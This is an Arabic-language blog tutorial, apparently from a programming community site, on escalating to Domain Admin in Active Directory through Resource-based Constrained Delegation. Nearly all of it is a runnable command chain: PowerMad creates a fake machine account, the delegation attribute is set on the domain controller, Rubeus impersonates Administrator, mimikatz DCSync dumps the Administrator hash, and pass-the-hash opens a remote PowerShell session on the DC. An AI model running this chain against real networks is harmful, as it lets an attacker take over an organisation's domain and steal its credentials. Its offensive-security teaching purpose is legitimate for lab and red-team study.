Domain Privilege Escalation - RBCD
السلام عليكم ورحمة الله وبركاته
الحمد لله على جميع نِعمه علينا ما علمنا منها وما لم نعلم حمداً والصلاة والسلام على نبينا محمد اشرف الخلق والمرسلين, اما بعد:
مقدمة:
في هذي المقالة راح نشرح التكينك الثامن لي الـDomain Privilege وهو الـ RBCD او Resource-based Constrained Delegation
متطلبات التكنيك: يجب ان يكون لديك صلاحية Generic All او Generic Write او Write Property على الجهاز المستهدف
قبل نبدا نطبق التكنيك خلونا نعرف ايش هي فكرة Resource-based Constrained Delegation ؟
الفكرة مشابهه لتكنيك Constrained Delegation المشروح سابقا
لكن هذا التكنيك راح يختلف شوي بحيث انه راح ننشأ جهاز مزيف او fake ونحدد له باسورد معين ومن ثم نضيف New Property على الجهاز المستهدف و اللي هي
msds-allowedtoactonbehalfofotheridentity تحتوي على قيمة ال SID الخاصة بالجهاز ال مزيف
بعد كذا راح نتستخدم اداة Rubeus بحيث انه نطلب اي سيرفس على الجهاز المستهدف مثل http عشان نسوي PS Remoting او cifs عشان نتصفح الملفات الخاصة بالجهاز المستهدف او host عشان ننفذ scheduling tasks ونحصل على Reverse Shell او ldap اذا كان الجهاز المستهدف هو ال DC بحيث تسحب الهاش الخاص في ال Domain Admins وتنفذ تكنيك Pass the Hash وكل هذي الطلبات راح تكون عن طريق الجهاز المزيف
الشرح:
اولا انا داخل بالمستخدم اللي اسمه HRmanager
الان راح اسوي Load لي اداة Power View عن طريق هذا الامر:
Import-Module .\powerview.ps1
الان راح ننفذ هذا الامر عشان نشوف هل المتسخدم HRmanager عنده ACLs تهمنا او لا :
Find-InterestingDomainAcl -ResolveGUIDs
الان لو نلاحظ حقل المستخدم HRmanager الموجود في حقل IdentityReferenceName يحتوي على صلاحية Write Property على جهاز ال Domain Controller الموجود في حقل ObjectDN (:
الان راح احمل اداة PowerMad عشان ننشأ جهاز مزيف
بعد التحميل راح اسوي لها Load عن طريق هذا الامر:
Import-Module .\powermad.ps1
الان راح ننشأ جهاز مزيف يكون الباسورد الخاص فيه 123 عن طريق هذا الامر:
New-MachineAccount -Domain cyber.local -MachineAccount dude -Password (ConvertTo-SecureString '123' -AsPlainText -Force) -Verbose
الان نحتاج نستخرج ال SID الخاص في الجهاز المزيف عن طريق هذا الامر:
Get-NetComputer dude | select objectsid
الان بعد ما استخرجنا ال SID الخاص في الجهاز المزيف راح ننفذ هذي الاوامر مع تعويض ال SID الخاص في الجهاز المزيف
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-4117163453-3728762355-2024759166-1601)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
الان راح ننشأ للجهاز المستهدف خاصية جديدة تسمى msds-allowedtoactonbehalfofotheridentity ونسند لها قيمة ال SID الخاص في الجهاز المزيف عن طريق هذا الامر:
Get-netcomputer jehaddc.m3c.local | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
الان راح احمل اداة Rubeus وننفذ هذا الامر بحيث يعطينا نسخه مشفرة من نوع AES256 لي الباسورد الخاص في الجهاز المزيف:
.\Rubeus.exe hash /password:123 /user:dude$ /domain:cyber.local
الان راح ننفذ هذا الامر عشان نحصل على ال TGS الخاصه في ال ldap سيرفس بما انه الجهاز المستهدف هو ال Domain Controller (DC)
.\Rubeus.exe s4u /domain:cyber.local /dc:JehadDC.cyber.local /user:dude$ /ptt /aes256:5B9C740C2E833C237562871A4B3C3B7FF7839D48C3CBB3CBB152E2E82C981928 /impersonateuser:Administrator /msdsspn:ldap/jehaddc.cyber.local
طبعا انت راح تعوض حقول معينه حسب الدومين اللي انت متواجد عليه وحسب تشفير الباسورد اللي ظهر لك
وممكن في حقل msdsspn تعوض اي سيرفس تبيها وكل سيرفس ويختلف استغلالها زي ماذكرت بداية المقالة
الان بعد تنفيذ الامر السابق راح نتاكد هل تم حقن ال TGS في الميموري او لا عن طريق هذا الامر:
klist
الان تاكدنا انه تم حقن ال TGS في الميموري
الان بما انه معنا ال TGS الخاصة في سيرفس ldap راح نشغل mimikatz ونسحب الهاش الخاص في ال Domain Admin عن طريق هذا الامر:
lsadump::dcsync /user:cyber\Administrator
الان راح نسوي تكنيك pass the hash عن طريق mimikatz بحيث نشغل جلسة PowerShell بصلاحية Domain Admin عن طريق هذا الامر:
sekurlsa::pth /user:Administrator /ntlm:311fb27b1e766dac7357f4270f4112df /domain:cyber.local /run:powershell.exe
بعد تنفيذ الامر راح تفتح لنا جلسة powershell بصلاحية Domain Admin كل اللي علينا انه ننفذ هذا الامر عشان ندخل للجهاز المستهدف:
Enter-PSSession jehaddc.cyber.local
وصلنا لنهاية المقالة اتمنى انها نالت على اعجابكم
شاكر لكم.
التعليقات (0)
لايوجد لديك حساب في عالم البرمجة؟
تحب تنضم لعالم البرمجة؟ وتنشئ عالمك الخاص، تنشر المقالات، الدورات، تشارك المبرمجين وتساعد الآخرين، اشترك الآن بخطوات يسيرة !